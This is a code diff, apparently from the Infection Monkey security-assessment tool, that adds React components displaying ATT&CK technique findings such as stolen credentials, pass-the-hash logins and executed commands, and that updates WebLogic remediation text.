config_users = ReportService.get_config_users() config_users = ReportService.get_config_users()
config_passwords = ReportService.get_config_passwords() config_passwords = ReportService.get_config_passwords()
cross_segment_issues = ReportService.get_cross_segment_issues() cross_segment_issues = ReportService.get_cross_segment_issues()
monkey_latest_modify_time = list(NodeService.get_latest_modified_monkey())[0]['modifytime'] monkey_latest_modify_time = Monkey.get_latest_modifytime()
report = \ report = \
{ {
@ -779,7 +780,7 @@ class ReportService:
if latest_report_doc: if latest_report_doc:
report_latest_modifytime = latest_report_doc['meta']['latest_monkey_modifytime'] report_latest_modifytime = latest_report_doc['meta']['latest_monkey_modifytime']
latest_monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime'] latest_monkey_modifytime = Monkey.get_latest_modifytime()
return report_latest_modifytime == latest_monkey_modifytime return report_latest_modifytime == latest_monkey_modifytime
return False return False

View File

@ -0,0 +1,7 @@
import React from "react";
export function renderMachine(val){
return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
)
};

View File

@ -0,0 +1,26 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import '../../report-components/StolenPasswords'
import StolenPasswordsComponent from "../../report-components/StolenPasswords";
class T1003 extends React.Component {
constructor(props) {
super(props);
}
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === 'USED' ?
<StolenPasswordsComponent data={this.props.reportData.glance.stolen_creds.concat(this.props.reportData.glance.ssh_keys)}/>
: ""}
</div>
);
}
}
export default T1003;

View File

@ -0,0 +1,40 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine } from "./Helpers"
class T1059 extends React.Component {
constructor(props) {
super(props);
}
static getCommandColumns() {
return ([{
Header: 'Example commands used',
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data.machine), style: { 'whiteSpace': 'unset'}, width: 160 },
{Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: { 'whiteSpace': 'unset' }},
{Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: { 'whiteSpace': 'unset' }},
]
}])};
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === 'USED' ?
<ReactTable
columns={T1059.getCommandColumns()}
data={this.props.data.cmds}
showPagination={false}
defaultPageSize={this.props.data.cmds.length}
/> : ""}
</div>
);
}
}
export default T1059;

View File

@ -0,0 +1,49 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine } from "./Helpers"
class T1075 extends React.Component {
constructor(props) {
super(props);
this.props.data.successful_logins.forEach((login) => this.setLoginHashType(login))
}
setLoginHashType(login){
if(login.attempts[0].ntlm_hash !== ""){
login.attempts[0].hashType = 'NTLM';
} else if(login.attempts[0].lm_hash !== ""){
login.attempts[0].hashType = 'LM';
}
}
static getHashColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }},
{Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }},
{Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }},
]
}])};
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === 'USED' ?
<ReactTable
columns={T1075.getHashColumns()}
data={this.props.data.successful_logins}
showPagination={false}
defaultPageSize={this.props.data.successful_logins.length}
/> : ""}
</div>
);
}
}
export default T1075;

View File

@ -0,0 +1,40 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine } from "./Helpers"
class T1086 extends React.Component {
constructor(props) {
super(props);
}
static getPowershellColumns() {
return ([{
Header: 'Example Powershell commands used',
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }},
{Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }},
]
}])};
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === 'USED' ?
<ReactTable
columns={T1086.getPowershellColumns()}
data={this.props.data.cmds}
showPagination={false}
defaultPageSize={this.props.data.cmds.length}
/> : ""}
</div>
);
}
}
export default T1086;

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { renderMachine } from "./Helpers"
class T1110 extends React.Component { class T1110 extends React.Component {
@ -12,7 +13,7 @@ class T1110 extends React.Component {
static getServiceColumns() { static getServiceColumns() {
return ([{ return ([{
columns: [ columns: [
{Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine), {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 160}, style: { 'whiteSpace': 'unset' }, width: 160},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100}, {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
{Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }}, {Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }},
@ -23,13 +24,7 @@ class T1110 extends React.Component {
}])}; }])};
static renderCreds(creds) { static renderCreds(creds) {
return <span>{creds.map(cred => <div>{cred}</div>)}</span> return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span>
};
static renderMachine(val){
return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
)
}; };
render() { render() {

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { renderMachine } from "./Helpers"
class T1210 extends React.Component { class T1210 extends React.Component {
@ -8,7 +9,7 @@ class T1210 extends React.Component {
constructor(props) { constructor(props) {
super(props); super(props);
this.columns = [ {Header: 'Machine', this.columns = [ {Header: 'Machine',
id: 'machine', accessor: x => T1210.renderMachine(x), id: 'machine', accessor: x => renderMachine(x),
style: { 'whiteSpace': 'unset' }, style: { 'whiteSpace': 'unset' },
width: 200}, width: 200},
{Header: 'Time', {Header: 'Time',
@ -21,12 +22,6 @@ class T1210 extends React.Component {
] ]
} }
static renderMachine(val){
return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
)
};
renderExploitedMachines(){ renderExploitedMachines(){
if (this.props.data.bits_jobs.length === 0){ if (this.props.data.bits_jobs.length === 0){
return (<div />) return (<div />)

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { renderMachine } from "./Helpers"
class T1210 extends React.Component { class T1210 extends React.Component {
@ -12,7 +13,7 @@ class T1210 extends React.Component {
static getScanColumns() { static getScanColumns() {
return ([{ return ([{
columns: [ columns: [
{Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine), {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200}, style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
{Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }}, {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }},
@ -23,7 +24,7 @@ class T1210 extends React.Component {
static getExploitColumns() { static getExploitColumns() {
return ([{ return ([{
columns: [ columns: [
{Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine), {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200}, style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
{Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }}, {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }},
@ -31,12 +32,6 @@ class T1210 extends React.Component {
] ]
}])}; }])};
static renderMachine(val){
return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
)
};
static renderEndpoint(val){ static renderEndpoint(val){
return ( return (
<span>{(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])}</span> <span>{(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])}</span>

View File

@ -343,9 +343,7 @@ class ReportPageComponent extends AuthComponent {
href="https://cwiki.apache.org/confluence/display/WW/S2-045"> href="https://cwiki.apache.org/confluence/display/WW/S2-045">
CVE-2017-5638</a>)</li> : null } CVE-2017-5638</a>)</li> : null }
{this.state.report.overview.issues[this.Issue.WEBLOGIC] ? {this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
<li>Oracle WebLogic servers are vulnerable to remote code execution. (<a <li>Oracle WebLogic servers are susceptible to a remote code execution vulnerability.</li> : null }
href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
CVE-2017-10271</a>)</li> : null }
{this.state.report.overview.issues[this.Issue.HADOOP] ? {this.state.report.overview.issues[this.Issue.HADOOP] ?
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null } <li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ? {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
@ -520,7 +518,7 @@ class ReportPageComponent extends AuthComponent {
This report shows information about ATT&CK techniques used by Infection Monkey. This report shows information about ATT&CK techniques used by Infection Monkey.
</p> </p>
<div> <div>
<AttackReport/> <AttackReport reportData={this.state.report}/>
</div> </div>
<br /> <br />
</div>) </div>)
@ -889,16 +887,15 @@ class ReportPageComponent extends AuthComponent {
generateWebLogicIssue(issue) { generateWebLogicIssue(issue) {
return ( return (
<li> <li>
Install Oracle <a href="http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html"> Update Oracle WebLogic server to the latest supported version.
critical patch updates.</a> Or update to the latest version. Vulnerable versions are
10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.
<CollapsibleWellComponent> <CollapsibleWellComponent>
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to one of <span
className="label label-danger">remote code execution</span> attack. className="label label-danger">remote code execution</span> attacks.
<br/> <br/>
The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware The attack was made possible due to one of the following vulnerabilities:
(subcomponent: WLS Security). <a href={"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271"}> CVE-2017-10271</a> or
<a href={"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-2725"}> CVE-2019-2725</a>
</CollapsibleWellComponent> </CollapsibleWellComponent>
</li> </li>
); );

View File

@ -2,17 +2,25 @@ import React from 'react';
import {Col} from 'react-bootstrap'; import {Col} from 'react-bootstrap';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {edgeGroupToColor, options} from 'components/map/MapOptions'; import {edgeGroupToColor, options} from 'components/map/MapOptions';
import '../../styles/Collapse.scss';
import AuthComponent from '../AuthComponent'; import AuthComponent from '../AuthComponent';
import Collapse from '@kunukn/react-collapse'; import Collapse from '@kunukn/react-collapse';
import T1210 from '../attack/techniques/T1210'; import T1210 from '../attack/techniques/T1210';
import T1197 from '../attack/techniques/T1197'; import T1197 from '../attack/techniques/T1197';
import T1110 from '../attack/techniques/T1110'; import T1110 from '../attack/techniques/T1110';
import '../../styles/Collapse.scss' import T1075 from "../attack/techniques/T1075";
import T1003 from "../attack/techniques/T1003";
import T1059 from "../attack/techniques/T1059";
import T1086 from "../attack/techniques/T1086";
const tech_components = { const tech_components = {
'T1210': T1210, 'T1210': T1210,
'T1197': T1197, 'T1197': T1197,
'T1110': T1110 'T1110': T1110,
'T1075': T1075,
'T1003': T1003,
'T1059': T1059,
'T1086': T1086
}; };
const classNames = require('classnames'); const classNames = require('classnames');
@ -99,7 +107,7 @@ class AttackReportPageComponent extends AuthComponent {
const TechniqueComponent = tech_components[technique]; const TechniqueComponent = tech_components[technique];
return ( return (
<div className={`content ${collapseState}`}> <div className={`content ${collapseState}`}>
<TechniqueComponent data={this.state.report[technique]} /> <TechniqueComponent data={this.state.report[technique]} reportData={this.props.reportData}/>
</div> </div>
); );
} }